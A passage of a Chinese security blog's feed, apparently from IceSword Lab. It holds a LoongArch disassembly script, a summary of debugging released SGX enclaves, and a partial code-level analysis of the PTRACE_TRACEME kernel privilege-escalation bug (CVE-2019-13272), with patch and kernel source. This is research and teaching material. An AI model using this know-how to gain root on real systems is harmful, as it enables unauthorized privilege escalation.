class="line">}</span><br></pre></td></tr></table></figure><h2 id="内核态Hook"><a href="#内核态Hook" class="headerlink" title="内核态Hook"></a>内核态Hook</h2><p>我们实现了完整的处理各种异常条件的内核 LA inlineHook, 暂不公开</p><h1 id="反汇编器"><a href="#反汇编器" class="headerlink" title="反汇编器"></a>反汇编器</h1><p>有LoongArch64 机器的情况下,直接用gdb就可以做到</p><p>用一个简单的脚本实现:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">opcodes = <span class="string">","</span>.join(hex(i) <span class="keyword">for</span> i <span class="keyword">in</span> [<span class="number">0x28c0208c</span>, <span class="number">0x28c0c18c</span>, <span class="number">0x24000d8c</span>, <span class="number">0x0348018c</span>, <span class="number">0x44008980</span>])</span><br><span class="line"></span><br><span class="line">c_code = <span class="string">"""</span></span><br><span class="line"><span class="string">int opcodes[] = { %s };</span></span><br><span class="line"><span class="string">void main() { ((void (*)() )opcodes)(); }</span></span><br><span class="line"><span class="string">"""</span> % opcodes</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">"main.c"</span>, <span class="string">'w'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(c_code)</span><br><span class="line"></span><br><span class="line">os.system(<span class="string">"gcc main.c -g"</span>)</span><br><span class="line">os.system(<span class="string">"gdb -batch -ex 'file a.out' -ex 'disassemble/rs opcodes'"</span>)</span><br><span class="line">os.system(<span class="string">"rm main.c a.out"</span>)</span><br></pre></td></tr></table></figure><p>效果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ ./t.py</span><br><span class="line">Dump of assembler code for function opcodes:</span><br><span class="line"> 0x0000000120008000 <+0>:8c 20 c0 28ld.d$r12,$r4,8(0x8)</span><br><span class="line"> 0x0000000120008004 <+4>:8c c1 c0 28ld.d$r12,$r12,48(0x30)</span><br><span class="line"> 0x0000000120008008 <+8>:8c 0d 00 24ldptr.w$r12,$r12,12(0xc)</span><br><span class="line"> 0x000000012000800c <+12>:8c 01 48 03andi$r12,$r12,0x200</span><br><span class="line"> 0x0000000120008010 <+16>:80 89 00 44bnez$r12,136(0x88) # 0x120008098</span><br><span class="line">End of assembler dump.</span><br></pre></td></tr></table></figure><p>在没有 LoongArch64 机器的情况下,需要用软件(反汇编器)实现 LA 指令的反汇编,为了达到这个目的,我们正在开发支持 LA 的反汇编器,后续合适的时机可能会公开。</p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://github.com/loongson/LoongArch-Documentation/releases/latest/download/LoongArch-Vol1-v1.00-CN.pdf" target="_blank" rel="noopener">LoongArch64 指令手册</a></p><p><a href="https://pan.educg.net/api/v3/file/get/3858/20210404-%E5%BC%A0%E7%A6%8F%E6%96%B0-loongarch.pdf?sign=o-I4vKLPH-WqqXD8AmGkEK3PraV3kdOkAgXbZPL7t4A%3D%3A0" target="_blank" rel="noopener">LoongArch 指令集介绍.pdf</a> </p><p><a href="https://loongarch.dev/zh-cn/" target="_blank" rel="noopener">LoongArch 官博</a> </p><p><a href="https://github.com/loongson" target="_blank" rel="noopener">龙芯 github 地址</a> </p>]]></content>
<summary type="html">
<p>author: xiongxiao (<a href="mailto:395984722@qq.com">395984722@qq.com</a>), jiayy (<a href="mailto:chengjia4574@gmail.com">chengjia4574@
</summary>
</entry>
<entry>
<title>窥探有方——调试Released SGX Enclave</title>
<link href="http://yoursite.com/2020/07/06/%E7%AA%A5%E6%8E%A2%E6%9C%89%E6%96%B9%E2%80%94%E2%80%94%E8%B0%83%E8%AF%95Released%20SGX%20Enclave/"/>
<id>http://yoursite.com/2020/07/06/%E7%AA%A5%E6%8E%A2%E6%9C%89%E6%96%B9%E2%80%94%E2%80%94%E8%B0%83%E8%AF%95Released%20SGX%20Enclave/</id>
<published>2020-07-06T00:00:00.000Z</published>
<updated>2025-07-16T10:02:19.305Z</updated>
<content type="html"><![CDATA[<p>author : <a href="http://weibo.com/suezi86" target="_blank">suezi(@suezi86)</a> of IceSword Lab , Qihoo 360</p><p> Intel Software Guard Extensions (Intel SGX)是基于CPU扩展的一种革命性的安全技术,旨在提供具有最小攻击面的硬件辅助的可信执行环境。它允许应用程序或应用程序的一部分运行在一个称为Enclave的安全容器中,任何应用程序,包括OS、Hypervisor、BIOS均无法访问其内容。Enclave使用的页面和数据结构由CPU内部的MEE加密存储在EPC中,负责映射Enclave页面的页表由OS管理,但OS无法获取其内容,仅Enclave可访问。然而攻击者总是想方设法以直接或间接的方式来获取数据,比如隐私数据,加密密钥,或者篡改代码的执行流。分析SGX的工作模型,设法将Release版本的Enclave转换成Debug版本,再借助SGX开发套件中的sgx-gdb工具,可实现对SGX Enclave的动态调试,之后便可为所欲为。详见<a href="https://www.anquanke.com/post/id/209744" target="_blank" rel="noopener">窥探有方——调试Released SGX Enclave</a></p>]]></content>
<summary type="html">
<p>author : <a href="http://weibo.com/suezi86" target="_blank">suezi(@suezi86)</a> of IceSword Lab , Qihoo 360</p>
<p> Intel Software Guard
</summary>
</entry>
<entry>
<title>PTRACE_TRACEME 本地提权漏洞解析</title>
<link href="http://yoursite.com/2019/11/28/CVE-2019-13272/"/>
<id>http://yoursite.com/2019/11/28/CVE-2019-13272/</id>
<published>2019-11-25T00:00:00.000Z</published>
<updated>2025-07-16T10:02:19.305Z</updated>
<content type="html"><![CDATA[<p>author: Gengjia Chen (<a href="mailto:chengjia4574@gmail.com">chengjia4574@gmail.com</a>) of IceSword Lab, qihoo 360</p><p><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1903" target="_blank" rel="noopener">PTRACE_TRACEME 漏洞</a> 是 Jann Horn 201907 月发现的内核提权漏洞, 漏洞发现和利用的思路有很多值得学习的地方, 本文记录了个人的学习过程</p><h2 id="漏洞补丁"><a href="#漏洞补丁" class="headerlink" title="漏洞补丁"></a>漏洞补丁</h2><p>我们从漏洞补丁 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb0053799d2e07cd140df6c2ea106c41ee" target="_blank" rel="noopener">ptrace: Fix ->ptracer_cred handling for PTRACE_TRACEME</a> 入手分析</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">Fix two issues:</span><br><span class="line"></span><br><span class="line">// 第一个问题,是 cred 的 rcu reference 问题</span><br><span class="line">When called <span class="keyword">for</span> PTRACE_TRACEME, ptrace_link() would obtain an RCU </span><br><span class="line">reference to the parent<span class="string">'s objective credentials, then give that pointer</span></span><br><span class="line"><span class="string">to get_cred(). However, the object lifetime rules for things like</span></span><br><span class="line"><span class="string">struct cred do not permit unconditionally turning an RCU reference into</span></span><br><span class="line"><span class="string">a stable reference.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">// 第二个问题,tracee 记录的 tracer 的 cred 的问题</span></span><br><span class="line"><span class="string">PTRACE_TRACEME records the parent'</span>s credentials as <span class="keyword">if</span> the parent was </span><br><span class="line">acting as the subject, but that<span class="string">'s not the case. If a malicious</span></span><br><span class="line"><span class="string">unprivileged child uses PTRACE_TRACEME and the parent is privileged, and</span></span><br><span class="line"><span class="string">at a later point, the parent process becomes attacker-controlled</span></span><br><span class="line"><span class="string">(because it drops privileges and calls execve()), the attacker ends up</span></span><br><span class="line"><span class="string">with control over two processes with a privileged ptrace relationship,</span></span><br><span class="line"><span class="string">which can be abused to ptrace a suid binary and obtain root privileges.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Fix both of these by always recording the credentials of the process</span></span><br><span class="line"><span class="string">that is requesting the creation of the ptrace relationship:</span></span><br><span class="line"><span class="string">current_cred() can'</span>t change under us, and current is the proper subject</span><br><span class="line"><span class="keyword">for</span> access control.</span><br></pre></td></tr></table></figure><p>以上是补丁的描述,以下是补丁的代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">diff --git a/kernel/ptrace.c b/kernel/ptrace.c</span><br><span class="line">index <span class="number">8456b</span>6e.<span class="number">.705887</span>f <span class="number">100644</span></span><br><span class="line">--- a/kernel/ptrace.c</span><br><span class="line">+++ b/kernel/ptrace.c</span><br><span class="line">@@ <span class="number">-79</span>,<span class="number">9</span> +<span class="number">79</span>,<span class="number">7</span> @@ <span class="keyword">void</span> __ptrace_link(struct task_struct *child, struct task_struct *new_parent,</span><br><span class="line"> */</span><br><span class="line"> <span class="keyword">static</span> <span class="keyword">void</span> ptrace_link(struct task_struct *child, struct task_struct *new_parent)</span><br><span class="line"> {</span><br><span class="line">-rcu_read_lock();</span><br><span class="line">-__ptrace_link(child, new_parent, __task_cred(new_parent));</span><br><span class="line">-rcu_read_unlock();</span><br><span class="line">+__ptrace_link(child, new_parent, current_cred());</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>从补丁的描述来看,一共修复了 2 个问题</p><ul><li>1 是 rcu reference 的问题,对应的代码是删除了 rcu 锁; </li><li>2 是 tracee 记录 tracer 进程的 cred 引发的问题</li></ul><p>本文不关心第一个问题,只分析可以用于本地提权的第二个问题</p><p>从补丁描述看第二个问题比较复杂,我们后面再分析,补丁对应的代码倒是非常简单,<br>将 ‘__task_cred(new_parent)’ 换成了 ‘current_cred()’, 也就是说记录的 cred 从 tracer 进程的 cred 换成了当前进程的 cred</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p><a href="http://man7.org/linux/man-pages/man2/ptrace.2.html" target="_blank" rel="noopener">ptrace</a> 是一个系统调用,它提供了一种方法来让进程 (tracer) 可以观察和控制其它进程 (tracee) 的执行,检查和改变其核心映像以及寄存器, 主要用来实现断点调试和系统调用跟踪</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span> <span class="number">396</span> kernel/ptrace.c <<ptrace_attach>></span><br><span class="line"> ptrace_link(task, current); <span class="comment">// link 的双方分别是要 trace 的目标进程 'task' </span></span><br><span class="line"> <span class="comment">// 和发动 trace 的当前进程 'current'</span></span><br><span class="line"><span class="number">2</span> <span class="number">469</span> kernel/ptrace.c <<ptrace_traceme>></span><br><span class="line"> ptrace_link(current, current->real_parent); <span class="comment">// link 的双方分别是发动 trace 的</span></span><br><span class="line"> <span class="comment">// 当前进程 ‘current’ 和当前进程的</span></span><br><span class="line"> <span class="comment">// 父进程 ' current->real_parent'</span></span><br></pre></td></tr></table></figure><p>trace 关系的建立有 2 种方式</p><ul><li>1 是进程调用 fork 函数然后子进程主动调用 PTRACE_TRACEME, 这是由 tracee 发起的, 对应内核函数 ptrace_traceme</li><li>2 是进程调用 PTRACE_ATTACH 或者 PTRACE_SEIZE 去主动 trace 其他进程, 这是由 tracer 发起的, 对应内核函数 ptrace_attach</li></ul><p>不管是哪种方式,最后都会调用 ptrace_link 函数去建立 tracer 和 tracee 之间的 trace 关系</p><ul><li>ptrace_attach 关联的双方是 ‘task’ (tracee) 和 ‘current’ (tracer) </li><li>ptrace_traceme 关联的双方是 ‘current’ (tracee) 和 ‘current->real_parent’ (tracer)</li></ul><p>这里我们要仔细记住上面 2 种模式下 tracer 和 tracee 分别是什么,因为这就是漏洞的关键</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">ptrace_link</span><span class="params">(struct task_struct *child, struct task_struct *new_parent)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> rcu_read_lock();</span><br><span class="line"> __ptrace_link(child, new_parent, __task_cred(new_parent));</span><br><span class="line"> rcu_read_unlock();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> __ptrace_link(struct task_struct *child, struct task_struct *new_parent,</span><br><span class="line"> <span class="keyword">const</span> struct cred *ptracer_cred)</span><br><span class="line">{</span><br><span class="line"> BUG_ON(!list_empty(&child->ptrace_entry));</span><br><span class="line"> list_add(&child->ptrace_entry, &new_parent->ptraced); <span class="comment">// 1. 将自己加入父进程的 ptraced 队列</span></span><br><span class="line"> child->parent = new_parent; <span class="comment">// 2. 将父进程地址保存在 parent 指针</span></span><br><span class="line"> child->ptracer_cred = get_cred(ptracer_cred); <span class="comment">// 3. 保存 ptracer_cred, 我们只关注这个变量</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>建立 trace 关系的关键是由 tracee 记录 tracer 的 cred, 保存在 tracee 的 ‘ptracer_cred’ 变量,这个变量名很顾名思义</p><p>ptracer_cred 这个概念是由 2016 年的一个补丁 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=64b875f7ac8a5d60a4e191479299e931ee949b67" target="_blank" rel="noopener">ptrace: Capture the ptracer’s creds not PT_PTRACE_CAP</a> 引入的, 引入 ptracer_cred 的目的是用于当 tracee 执行 exec 去加载 <a href="https://www.computerhope.com/jargon/s/setuid.htm" target="_blank" rel="noopener">setuid executable</a> 时做安全检测</p><p>为什么需要这个安全检测呢?</p><p><a href="http://man7.org/linux/man-pages/man3/exec.3.html" target="_blank" rel="noopener">exec</a> 函数族可以更新进程的镜像, 如果被执行文件的 <a href="https://en.wikipedia.org/wiki/Setuid" target="_blank" rel="noopener">setuid 位</a> 置位,则运行这个可执行文件时,进程的 <a href="https://en.wikipedia.org/wiki/User_identifier" target="_blank" rel="noopener">euid</a> 会被修改成该可执行文件的所有者的 uid, 如果可执行文件的所有者权限比调用 exec 的进程高, 运行这类 <a href="https://www.computerhope.com/jargon/s/setuid.htm" target="_blank" rel="noopener">setuid executable</a> 会有提权的效果</p><p>假如执行 exec 的进程本身是一个 tracee, 当它执行了 <a href="https://www.computerhope.com/jargon/s/setuid.htm" target="_blank" rel="noopener">setuid executable</a> 提权之后,由于 tracer 可以随时修改 tracee 的寄存器和内存,这时候低权限的 tracer 就可以控制 tracee 去执行越权操作</p><p>作为内核,显然是不允许这样的越权行为存在的,所以当 trace 关系建立时, tracee 需要保存 tracer 的 cred (即 ptracer_cred), 然后在执行 exec 过程中, 如果发现执行的可执行程序是 <a href="https://en.wikipedia.org/wiki/Setuid" target="_blank" rel="noopener">setuid 位</a> 置位的, 则会判断 ‘ptracer_cred’ 的权限, 如果权限不满足,将不会执行 <a href="https://en.wikipedia.org/wiki/Setuid" target="_blank" rel="noopener">setuid 位</a> 的提权, 而是以原有的进程权限执行这个 <a href="https://www.computerhope.com/jargon/s/setuid.htm" target="_blank" rel="noopener">setuid executable</a> </p><p>这个过程的代码分析如下(本文的代码分析基于 v4.19-rc8)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">do_execve</span><br><span class="line"> -> __do_execve_file</span><br><span class="line"> -> prepare_binprm </span><br><span class="line"> -> bprm_fill_uid</span><br><span class="line"> -> security_bprm_set_creds</span><br><span class="line"> ->cap_bprm_set_creds</span><br><span class="line"> -> ptracer_capable</span><br><span class="line"> ->selinux_bprm_set_creds</span><br><span class="line"> ->(apparmor_bprm_set_creds)</span><br><span class="line"> ->(smack_bprm_set_creds)</span><br><span class="line"> ->(tomoyo_bprm_set_creds)</span><br></pre></td></tr></table></figure><p>如上,execve 权限相关的操作主要在函数 ‘prepare_binprm’ 里</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1567</span> <span class="function"><span class="keyword">int</span> <span class="title">prepare_binprm</span><span class="params">(struct linux_binprm *bprm)</span></span></span><br><span class="line"><span class="function">1568 </span>{</span><br><span class="line"><span class="number">1569</span> <span class="keyword">int</span> retval;</span><br><span class="line"><span class="number">1570</span> <span class="keyword">loff_t</span> pos = <span class="number">0</span>;</span><br><span class="line"><span class="number">1571</span> </span><br><span class="line"><span class="number">1572</span> bprm_fill_uid(bprm); <span class="comment">// <-- 初步填充新进程的 cred</span></span><br><span class="line"><span class="number">1573</span> </span><br><span class="line"><span class="number">1574</span> <span class="comment">/* fill in binprm security blob */</span></span><br><span class="line"><span class="number">1575</span> retval = security_bprm_set_creds(bprm); <span class="comment">// <-- 安全检测, </span></span><br><span class="line"> <span class="comment">// 可能会修改新进程的 cred</span></span><br><span class="line"><span class="number">1576</span> <span class="keyword">if</span> (retval)</span><br><span class="line"><span class="number">1577</span> <span class="keyword">return</span> retval;</span><br><span class="line"><span class="number">1578</span> bprm->called_set_creds = <span class="number">1</span>;</span><br><span class="line"><span class="number">1579</span> </span><br><span class="line"><span class="number">1580</span> <span class="built_in">memset</span>(bprm->buf, <span class="number">0</span>, BINPRM_BUF_SIZE);</span><br><span class="line"><span class="number">1581</span> <span class="keyword">return</span> kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);</span><br><span class="line"><span class="number">1582</span> }</span><br></pre></td></tr></table></figure><p>如上,先调用 ‘bprm_fill_uid’ 初步填充新进程的 cred, 再调用 ‘security_bprm_set_creds’ 做安全检测并修改新的 cred</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1509</span> <span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">bprm_fill_uid</span><span class="params">(struct linux_binprm *bprm)</span></span></span><br><span class="line"><span class="function">1510 </span>{</span><br><span class="line"><span class="number">1511</span> <span class="class"><span class="keyword">struct</span> <span class="title">inode</span> *<span class="title">inode</span>;</span></span><br><span class="line"><span class="number">1512</span> <span class="keyword">unsigned</span> <span class="keyword">int</span> mode;</span><br><span class="line"><span class="number">1513</span> <span class="keyword">kuid_t</span> uid;</span><br><span class="line"><span class="number">1514</span> <span class="keyword">kgid_t</span> gid;</span><br><span class="line"><span class="number">1515</span> </span><br><span class="line"><span class="number">1516</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">1517 * Since this can be called multiple times (via prepare_binprm),</span></span><br><span class="line"><span class="comment">1518 * we must clear any previous work done when setting set[ug]id</span></span><br><span class="line"><span class="comment">1519 * bits from any earlier bprm->file uses (for example when run</span></span><br><span class="line"><span class="comment">1520 * first for a setuid script then again for its interpreter).</span></span><br><span class="line"><span class="comment">1521 */</span></span><br><span class="line"><span class="number">1522</span> bprm->cred->euid = current_euid(); <span class="comment">// <--- 先使用本进程的euid</span></span><br><span class="line"><span class="number">1523</span> bprm->cred->egid = current_egid();</span><br><span class="line"><span class="number">1524</span> </span><br><span class="line"><span class="number">1525</span> <span class="keyword">if</span> (!mnt_may_suid(bprm->file->f_path.mnt))</span><br><span class="line"><span class="number">1526</span> <span class="keyword">return</span>;</span><br><span class="line"><span class="number">1527</span> </span><br><span class="line"><span class="number">1528</span> <span class="keyword">if</span> (task_no_new_privs(current))</span><br><span class="line"><span class="number">1529</span> <span class="keyword">return</span>;</span><br><span class="line"><span class="number">1530</span> </span><br><span class="line"><span class="number">1531</span> inode = bprm->file->f_path.dentry->d_inode;</span><br><span class="line"><span class="number">1532</span> mode = READ_ONCE(inode->i_mode);</span><br><span class="line"><span class="number">1533</span> <span class="keyword">if</span> (!(mode & (S_ISUID|S_ISGID))) <span class="comment">// <---------- 如果可执行文件没有 setuid/setgid 位,这里就可以返回了</span></span><br><span class="line"><span class="number">1534</span> <span class="keyword">return</span>;</span><br><span class="line"><span class="number">1535</span> </span><br><span class="line"><span class="number">1536</span> <span class="comment">/* Be careful if suid/sgid is set */</span></span><br><span class="line"><span class="number">1537</span> inode_lock(inode);</span><br><span class="line"><span class="number">1538</span> </span><br><span class="line"><span class="number">1539</span> <span class="comment">/* reload atomically mode/uid/gid now that lock held */</span></span><br><span class="line"><span class="number">1540</span> mode = inode->i_mode;</span><br><span class="line"><span class="number">1541</span> uid = inode->i_uid; <span class="comment">// <---- 如果文件 S_ISUID 置位,使用文件的 i_uid</span></span><br><span class="line"><span class="number">1542</span> gid = inode->i_gid;</span><br><span class="line"><span class="number">1543</span> inode_unlock(inode);</span><br><span class="line"><span class="number">1544</span> </span><br><span class="line"><span class="number">1545</span> <span class="comment">/* We ignore suid/sgid if there are no mappings for them in the ns */</span></span><br><span class="line"><span class="number">1546</span> <span class="keyword">if</span> (!kuid_has_mapping(bprm->cred->user_ns, uid) ||</span><br><span class="line"><span class="number">1547</span> !kgid_has_mapping(bprm->cred->user_ns, gid))</span><br><span class="line"><span class="number">1548</span> <span class="keyword">return</span>;</span><br><span class="line"><span class="number">1549</span> </span><br><span class="line"><span class="number">1550</span> <span class="keyword">if</span> (mode & S_ISUID) {</span><br><span class="line"><span class="number">1551</span> bprm->per_clear |= PER_CLEAR_ON_SETID;</span><br><span class="line"><span class="number">1552</span> bprm->cred->euid = uid; <span class="comment">// <------ 使用文件的 i_uid 作为新进程的 euid</span></span><br><span class="line"><span class="number">1553</span> }</span><br><span class="line"><span class="number">1554</span> </span><br><span class="line"><span class="number">1555</span> <span class="keyword">if</span> ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {</span><br><span class="line"><span class="number">1556</span> bprm->per_clear |= PER_CLEAR_ON_SETID;</span><br><span class="line"><span class="number">1557</span> bprm->cred->egid = gid;</span><br><span class="line"><span class="number">1558</span> }</span><br><span class="line"><span class="number">1559</span> }</span><br></pre></td></tr></table></figure><p>如上, 主要看两行</p><ul><li>1522 行, 将当前的 euid 赋值新的 euid, 所以大部分执行了 execve 的进程的权限跟原来的一样</li><li>1552 行,如果带有 suid bit, 则将可执行文件的所有者的 uid 赋值新的 euid, 这就是所谓 setuid 的实现, 新的 euid 变成了它执行的可执行文件所有者的 uid, 如果所有者是特权用户, 这里就实现了提权</li></ul><p>但是,这里的 euid 依然不是最终的结果, 还需要进入函数 security_bprm_set_creds 做进一步的安全检测</p><p>security_bprm_set_creds 函数调用的是 <a href="https://en.wikipedia.org/wiki/Linux_Security_Modules" target="_blank" rel="noopener">LSM</a> 框架</p><p>在我分析的内核版本上, 实现 ‘bprm_set_creds’ 这个 hook 点安全检测的 lsm 框架有 5 种, 检测函数如下, </p><ul><li>cap_bprm_set_creds</li><li>selinux_bprm_set_creds</li><li>apparmor_bprm_set_creds</li><li>smack_bprm_set_creds</li><li>tomoyo_bprm_set_creds</li></ul><p>这里哪些 hook 检测函数会被执行,其实是跟具体的内核配置有关的, 理论上把所有 lsm 框架都启用的话,上述所有这些实现了 ‘bprm_set_creds’ hook 检测的函数都会被执行 </p><p>在我的分析环境里实际运行的检测函数只有 cap_bprm_set_creds 和 selinux_bprm_set_creds 这俩</p><p>其中, 对 euid 有影响的是 ‘cap_bprm_set_creds’ 这个函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"> <span class="number">815</span> <span class="function"><span class="keyword">int</span> <span class="title">cap_bprm_set_creds</span><span class="params">(struct linux_binprm *bprm)</span></span></span><br><span class="line"><span class="function"> 816 </span>{</span><br><span class="line"> <span class="number">817</span> <span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">cred</span> *<span class="title">old</span> = <span class="title">current_cred</span>();</span></span><br><span class="line"> <span class="number">818</span> <span class="class"><span class="keyword">struct</span> <span class="title">cred</span> *<span class="title">new</span> = <span class="title">bprm</span>-><span class="title">cred</span>;</span></span><br><span class="line"> <span class="number">819</span> <span class="keyword">bool</span> effective = <span class="literal">false</span>, has_fcap = <span class="literal">false</span>, is_setid;</span><br><span class="line"> <span class="number">820</span> <span class="keyword">int</span> ret;</span><br><span class="line"> <span class="number">821</span> <span class="keyword">kuid_t</span> root_uid;</span><br><span class="line"> ===================== skip ======================</span><br><span class="line"> <span class="number">838</span> <span class="comment">/* Don't let someone trace a set[ug]id/setpcap binary with the revised</span></span><br><span class="line"><span class="comment"> 839 * credentials unless they have the appropriate permit.</span></span><br><span class="line"><span class="comment"> 840 *</span></span><br><span class="line"><span class="comment"> 841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs.</span></span><br><span class="line"><span class="comment"> 842 */</span></span><br><span class="line"> <span class="number">843</span> is_setid = __is_setuid(<span class="keyword">new</span>, old) || __is_setgid(<span class="keyword">new</span>, old); </span><br><span class="line"> <span class="number">844</span> </span><br><span class="line"> <span class="number">845</span> <span class="keyword">if</span> ((is_setid || __cap_gained(permitted, <span class="keyword">new</span>, old)) && <span class="comment">// <---- 检测是否执行的是 setid 程序</span></span><br><span class="line"> <span class="number">846</span> ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || </span><br><span class="line"> <span class="number">847</span> !ptracer_capable(current, <span class="keyword">new</span>->user_ns))) { <span class="comment">// <----- 如果执行execve的进程被trace了,且执行的程序是 setuid 的,需要增加权限检测</span></span><br><span class="line"> <span class="number">848</span> <span class="comment">/* downgrade; they get no more than they had, and maybe less */</span></span><br><span class="line"> <span class="number">849</span> <span class="keyword">if</span> (!ns_capable(<span class="keyword">new</span>->user_ns, CAP_SETUID) ||</span><br><span class="line"> <span class="number">850</span> (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {</span><br><span class="line"> <span class="number">851</span> <span class="keyword">new</span>->euid = <span class="keyword">new</span>->uid; <span class="comment">// <----- 如果检测不通过,会将新进程的 euid 重新设置为原进程的 uid</span></span><br><span class="line"> <span class="number">852</span> <span class="keyword">new</span>->egid = <span class="keyword">new</span>->gid;</span><br><span class="line"> <span class="number">853</span> }</span><br><span class="line"> <span class="number">854</span> <span class="keyword">new</span>->cap_permitted = cap_intersect(<span 